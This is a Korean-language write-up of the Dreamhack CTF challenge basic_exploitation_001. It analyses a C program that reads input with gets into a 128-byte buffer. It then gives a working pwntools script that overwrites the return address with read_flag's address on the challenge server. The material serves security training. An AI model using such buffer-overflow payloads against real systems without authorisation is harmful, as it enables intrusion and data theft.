드림핵 basic_exploitation_001 문제 풀이
풀이 환경 : 구름 ide
구름 ide에서는 가져온 파일에 실행권한을 부여해주어야 됨.$ chmod +x basic_exploitation_001
이라는 코드로 실행 권한 부여
1. 문제 파일 다운, 코드 분석
basic_exploitation_001.c 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
buf의 크기는 0x80(128바이트)으로 지정되었는데 gets는 buf의 크기 이상으로 입력을 받을 수 있으므로 버퍼 오버플로우를 이용한 공격이 가능할 것 같다.
하지만 이전 문제와 다르게 buf의 시작주소의 위치 정보가 없고, 대신 read_flag 라는 함수를 활용하여 flag의 내용을 읽을 수 있을 거 같다.
2. 문제 환경 파악, 취약점 분석
environment
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
문제의 environment가 위와 같이 주어져 있다.
arch를 보면 32비트 시스템임을 알 수 있다.
No PIE가 의미하는 것은 실행 파일이 메모리에 로드될 때 주소가 고정됨을 의미한다.
그렇다면 컴파일 될 때 이미 주소가 정해진 함수는 주소가 항상 고정된다.
취약점 분석
버퍼 오버플로우를 이용하여 return adress에 read_flag 함수의 주소를 넣어 $ cat \\flag
명령을 실행할 수 있다.
3. 스택 프레임 파악
32비트 시스템의 스택 프레임은 버퍼, sfp(4바이트), return adress(4바이트)로 구성된다.
그렇다면 128비바이트의 버퍼와 4바이트의 sfp를 다 채운 뒤에 return adress에 read_flag 의 주소를 입력하면 된다.
4. read_flag() 함수의 주소 찾기
gdb를 사용해서 read_flag() 함수의 주소를 찾을 수 있다.
이 때 문제에서 제공된 바이너리를 gdb로 확인해야 된다.
p(print) read_flag
또는 info function
이라는 명령어을 사용하여 read_flag의 주소가 0x80485b9 임을 알 수 있다.
5. 쉘코드 작성
아래와 같은 코드를 작성하여 플래그 획득
from pwn import *
context.arch = "i386" #32bit니까 x86아키텍처
p = remote("host3.dreamhack.games", 9077)
read_flag = p32(0x80485b9) #read_flag의 주소를 입력하기 위해서 패킹
payload = b'A' * 132 + read_flag #128(버퍼의 크기) + 4(sfp의 크기)만큼 A라는 쓰레기 값으로 채운 후 그 뒤에 read_flag의 주소를 넣음
p.sendline(payload) #gets로 입력 받기 때문에 sendline을 이용하여 payload 입력
p.interactive()